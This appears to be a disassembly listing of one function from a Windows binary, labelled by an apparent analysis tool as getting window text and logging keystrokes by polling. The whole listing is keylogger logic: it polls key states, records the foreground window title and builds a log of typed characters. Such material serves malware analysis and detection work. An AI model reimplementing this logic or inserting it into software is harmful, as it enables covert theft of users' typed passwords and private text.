Function at 0x1400024b0
Capabilities:
Get graphical window text
Log keystrokes via polling

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x1f0
mov rax, qword [0x14000a010]
xor rax, rsp
mov qword [rsp + 0x1e0], rax
mov rdi, rcx
xor r14d, r14d
lea ecx, [r14 + 0x10]
call qword [sym.imp.USER32.dll_GetKeyState]
movzx ebp, ax
shr ebp, 0xf
and bpl, 1
mov dword [rsp + 0x24], ebp
lea ecx, [r14 + 0x14]
call qword [sym.imp.USER32.dll_GetKeyState]
test al, 1
je 0x140002512
test bpl, bpl
je 0x140002526
mov ecx, 0x14
call qword [sym.imp.USER32.dll_GetKeyState]
test al, 1
jne 0x14000252d
test bpl, bpl
je 0x14000252d
mov byte [rsp + 0x20], 1
jmp 0x140002532
mov byte [rsp + 0x20], r14b
mov byte [rsp + 0x70], r14b
mov rbx, qword [0x14000a7c8]
mov rbx, qword [rbx]
lea r15, [0x14000a710]
mov r12d, 0x8000
cmp byte [rbx + 0x19], r14b
jne 0x140002959
mov r13d, 0x7f
nop
lea rsi, [rbx + 0x28]
mov ecx, dword [rbx + 0x20]
call qword [sym.imp.USER32.dll_GetKeyState]
test r12w, ax
je 0x14000257d
mov byte [r15 + r13], 1
jmp 0x14000281e
cmp byte [r15 + r13], 0
je 0x14000281e
cmp dword [rbx + 0x20], 1
jne 0x14000285b
call qword [sym.imp.USER32.dll_GetForegroundWindow]
mov rcx, rax
mov r8d, 0x16d
lea rdx, [rsp + 0x70]
call qword [sym.imp.USER32.dll_GetWindowTextA]
lea rax, [rsp + 0x70]
mov rsi, 0xffffffffffffffff
nop dword [rax + rax]
inc rsi
cmp byte [rax + rsi], 0
jne 0x1400025c0
lea rcx, [0x14000a048]
cmp qword [0x14000a060], 0x10
cmovae rcx, qword [0x14000a048]
mov r8, qword [0x14000a058]
cmp r8, rsi
jne 0x1400025fe
lea rdx, [rsp + 0x70]
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
je 0x14000280c
mov r8, rsi
lea rdx, [rsp + 0x70]
call fcn.140003450
mov r15, qword [0x14000a058]
movabs rcx, 0x7fffffffffffffff
mov rax, rcx
sub rax, r15
cmp rax, 0x11
jb 0x140002ad7
lea r12, [0x14000a048]
cmp qword [0x14000a060], 0x10
cmovae r12, qword [0x14000a048]
xorps xmm0, xmm0
movups xmmword [rsp + 0x28], xmm0
mov qword [rsp + 0x38], r14
mov qword [rsp + 0x40], r14
lea rbp, [r15 + 0x11]
mov esi, 0xf
lea r14, [rsp + 0x28]
cmp rbp, rsi
jbe 0x1400026e4
mov rsi, rbp
or rsi, 0xf
cmp rsi, rcx
jbe 0x140002687
mov rsi, rcx
movabs rax, 0x8000000000000000
add rax, 0x27
jmp 0x1400026ae
cmp rsi, 0x16
mov eax, 0x16
cmovb rsi, rax
lea rcx, [rsi + 1]
cmp rcx, 0x1000
jb 0x1400026cd
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140002ae3
mov rcx, rax
call fcn.14000513c
test rax, rax
je 0x140002986
lea r14, [rax + 0x27]
and r14, 0xffffffffffffffe0
mov qword [r14 - 8], rax
jmp 0x1400026df
test rcx, rcx
je 0x1400026dc
call fcn.14000513c
mov r14, rax
jmp 0x1400026df
xor r14d, r14d
mov qword [rsp + 0x28], r14
mov qword [rsp + 0x38], rbp
mov qword [rsp + 0x40], rsi
movups xmm0, xmmword [str._current_window:]
movups xmmword [r14], xmm0
movzx eax, byte [0x1400075b0]
mov byte [r14 + 0x10], al
lea rcx, [r14 + 0x11]
mov r8, r15
mov rdx, r12
call sub.VCRUNTIME140.dll_memcpy
mov byte [r14 + rbp], 0
mov r8d, 4
lea rdx, str.__n
lea rcx, [rsp + 0x28]
call fcn.1400033d0
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x48], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x58], xmm1
xor r14d, r14d
mov qword [rax + 0x10], r14
mov qword [rax + 0x18], 0xf
mov byte [rax], r14b
lea rdx, [rsp + 0x48]
movq rcx, xmm0
movdqa xmm0, xmm1
psrldq xmm0, 8
movq rax, xmm0
cmp rax, 0x10
cmovae rdx, rcx
movq r8, xmm1
mov rcx, rdi
call fcn.1400033d0
nop
mov rdx, qword [rsp + 0x60]
cmp rdx, 0x10
jb 0x1400027be
inc rdx
mov rcx, qword [rsp + 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400027b8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000297f
call fcn.140005498
nop
mov rdx, qword [rsp + 0x40]
cmp rdx, 0x10
jb 0x1400027fb
inc rdx
mov rcx, qword [rsp + 0x28]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400027f6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140002986
call fcn.140005498
mov r12d, 0x8000
lea r15, [0x14000a710]
mov ebp, dword [rsp + 0x24]
cmp r13, 0x94
jae 0x140002add
mov byte [r15 + r13], 0
inc r13
mov rax, qword [rbx + 0x10]
cmp byte [rax + 0x19], 0
je 0x14000292f
mov rax, qword [rbx + 8]
cmp byte [rax + 0x19], 0
jne 0x140002853
nop dword [rax]
cmp rbx, qword [rax + 0x10]
jne 0x140002853
mov rbx, rax
mov rax, qword [rax + 8]
cmp byte [rax + 0x19], 0
je 0x140002840
mov rbx, rax
jmp 0x14000294f
test bpl, bpl
je 0x140002911
cmp qword [rsi + 0x10], 1
jne 0x140002911
mov rax, rsi
mov rcx, qword [rsi + 0x18]
cmp rcx, 0x10
jb 0x14000287f
mov rax, qword [rsi]
cmp byte [rax], 0x20
je 0x140002911
cmp rcx, 0x10
jb 0x140002891
mov rsi, qword [rsi]
mov r8, qword [0x14000a7a8]
mov rax, qword [r8 + 8]
mov rcx, r8
cmp byte [rax + 0x19], 0
jne 0x1400028bf
movzx edx, byte [rsi]
cmp byte [rax + 0x1a], dl
jge 0x1400028b3
mov rax, qword [rax + 0x10]
jmp 0x1400028b9
mov rcx, rax
mov rax, qword [rax]
cmp byte [rax + 0x19], 0
je 0x1400028a8
cmp byte [rcx + 0x19], 0
jne 0x1400028cd
movzx eax, byte [rcx + 0x1a]
cmp byte [rsi], al
jge 0x1400028d0
mov rcx, r8
movzx r9d, byte [rcx + 0x1b]
mov rcx, qword [rdi + 0x10]
mov rdx, qword [rdi + 0x18]
cmp rcx, rdx
jae 0x140002904
lea rax, [rcx + 1]
mov qword [rdi + 0x10], rax
mov rax, rdi
cmp rdx, 0x10
jb 0x1400028f6
mov rax, qword [rdi]
mov byte [rax + rcx], r9b
mov byte [rax + rcx + 1], 0
jmp 0x14000280c
mov rcx, rdi
call fcn.140003990
jmp 0x14000280c
mov r8, qword [rsi + 0x10]
cmp qword [rsi + 0x18], 0x10
jb 0x14000291f
mov rsi, qword [rsi]
mov rdx, rsi
mov rcx, rdi
call fcn.1400033d0
jmp 0x14000280c
mov rbx, rax
mov rcx, qword [rax]
cmp byte [rcx + 0x19], 0
jne 0x14000294f
nop dword [rax + rax]
mov rbx, rcx
mov rax, qword [rcx]
mov rcx, rax
cmp byte [rax + 0x19], 0
je 0x140002940
cmp byte [rbx + 0x19], 0
je 0x140002560
mov ebx, 0x21
movzx r14d, byte [rsp + 0x20]
movsxd rsi, ebx
mov ecx, ebx
call qword [sym.imp.USER32.dll_GetKeyState]
test r12w, ax
je 0x14000298d
mov byte [rsi + r15], 1
jmp 0x140002a9b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
cmp byte [rsi + r15], 0
je 0x140002a9b
lea eax, [rbx - 0x41]
cmp eax, 0x19
ja 0x1400029e0
mov rcx, qword [rdi + 0x10]
mov rdx, qword [rdi + 0x18]
test r14b, r14b
jne 0x140002a5e
lea r9d, [rbx + 0x20]
cmp rcx, rdx
jae 0x140002a85
lea rax, [rcx + 1]
mov qword [rdi + 0x10], rax
mov rax, rdi
cmp rdx, 0x10
jb 0x1400029d2
mov rax, qword [rdi]
mov byte [rax + rcx], r9b
mov byte [rax + rcx + 1], 0
jmp 0x140002a8d
test bpl, bpl
je 0x140002a56
mov rdx, qword [0x14000a7a8]
mov rax, qword [rdx + 8]
mov rcx, rdx
cmp byte [rax + 0x19], 0
jne 0x140002a17
nop dword [rax]
cmp byte [rax + 0x1a], bl
jge 0x140002a0b
mov rax, qword [rax + 0x10]
jmp 0x140002a11
mov rcx, rax
mov rax, qword [rax]
cmp byte [rax + 0x19], 0
je 0x140002a00
cmp byte [rcx + 0x19], 0
jne 0x140002a22
cmp bl, byte [rcx + 0x1a]
jge 0x140002a25
mov rcx, rdx
movzx r9d, byte [rcx + 0x1b]
mov rcx, qword [rdi + 0x10]
mov rdx, qword [rdi + 0x18]
cmp rcx, rdx
jae 0x140002a85
lea rax, [rcx + 1]
mov qword [rdi + 0x10], rax
mov rax, rdi
cmp rdx, 0x10
jb 0x1400029d2
mov rax, qword [rdi]
mov byte [rax + rcx], r9b
mov byte [rax + rcx + 1], 0
jmp 0x140002a8d
mov rcx, qword [rdi + 0x10]
mov rdx, qword [rdi + 0x18]
cmp rcx, rdx
jae 0x140002a81
lea rax, [rcx + 1]
mov qword [rdi + 0x10], rax
cmp rdx, 0x10
mov rax, rdi
jb 0x140002a77
mov rax, qword [rdi]
mov byte [rax + rcx + 1], 0
mov byte [rax + rcx], bl
jmp 0x140002a8d
movzx r9d, bl
mov rcx, rdi
call fcn.140003990
cmp rsi, 0x94
jae 0x140002add
mov byte [rsi + r15], 0
inc ebx
cmp ebx, 0x7e
jle 0x140002964
mov rcx, qword [rsp + 0x1e0]
xor rcx, rsp
call fcn.140004e80
lea r11, [rsp + 0x1f0]
mov rbx, qword [r11 + 0x38]
mov rbp, qword [r11 + 0x40]
mov rsi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
call fcn.140001be0
int3
call fcn.140004fa8
int3
call fcn.140001b40
int3